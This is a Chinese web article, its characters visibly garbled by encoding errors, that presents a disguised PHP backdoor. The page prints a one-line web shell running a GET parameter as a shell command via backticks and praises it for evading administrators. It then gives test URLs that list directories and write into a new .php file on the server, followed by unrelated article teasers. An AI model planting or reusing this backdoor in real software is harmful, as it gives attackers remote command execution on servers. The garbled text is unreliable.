一個(gè)不易被發(fā)現(xiàn)的PHP后門代碼解析
偶然間看到一段,看起來似乎沒有什么問題,確是能致命的后門代碼,這里用到了一個(gè)一般的PHPer都不怎么關(guān)注的反撇號(hào) ` ,反撇號(hào)包含的字符串,等同于shell_exec函數(shù)。
偽裝性很好,很容易被管理員忽略。
$selfNums = $_GET['r']; if (isset($selfNums)){ echo `$selfNums`; }
剛看到這段代碼我想大家都會(huì)說沒有問題,但是細(xì)心的朋友也會(huì)發(fā)現(xiàn)下面的變量被一個(gè)符號(hào)包起來了,既然是變量為什么要這樣了,
而且又不是單引號(hào),這個(gè)就是關(guān)鍵所在了,這個(gè)符號(hào)是 Esc 下面的一個(gè)鍵(位于感嘆號(hào)!旁邊的),
通過 echo `系統(tǒng)命令`; 可以達(dá)到 system(); 一樣的效果
如果不信的朋友可以測試
http://127.0.0.1/t.php?r=dir 可以列出目錄
http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:\web\90sec.php
我用 appserv 和虛擬主機(jī)已經(jīng)測試成功。
相關(guān)文章
PHP基于PDO調(diào)用sqlserver存儲(chǔ)過程通用方法【基于Yii框架】
這篇文章主要介紹了PHP基于PDO調(diào)用sqlserver存儲(chǔ)過程通用方法,結(jié)合實(shí)例形式分析了基于Yii框架采用pdo調(diào)用sqlserver存儲(chǔ)過程的相關(guān)操作步驟與實(shí)現(xiàn)技巧,需要的朋友可以參考下2017-10-10php中的路徑問題與set_include_path使用介紹
這篇文章主要介紹了php中的路徑問題與set_include_path,需要的朋友可以參考下2014-02-02PHP實(shí)現(xiàn)采集抓取淘寶網(wǎng)單個(gè)商品信息
這篇文章主要介紹了PHP實(shí)現(xiàn)采集抓取淘寶網(wǎng)單個(gè)商品信息,本文是一種實(shí)現(xiàn)思路,使用file_get_contents函數(shù)實(shí)現(xiàn),并給出了采集正則,需要的朋友可以參考下2015-01-01PHP中創(chuàng)建和驗(yàn)證哈希的簡單方法實(shí)探
這篇文章主要介紹了PHP中創(chuàng)建和驗(yàn)證哈希的簡單方法,即為Password Hashing API的使用介紹,需要的朋友可以參考下2015-07-07PHP中使用虛代理實(shí)現(xiàn)延遲加載技術(shù)
這篇文章主要介紹了PHP中使用虛代理實(shí)現(xiàn)延遲加載技術(shù),延遲加載是一種領(lǐng)域模型設(shè)計(jì)一種架構(gòu)模式,需要的朋友可以參考下2014-11-11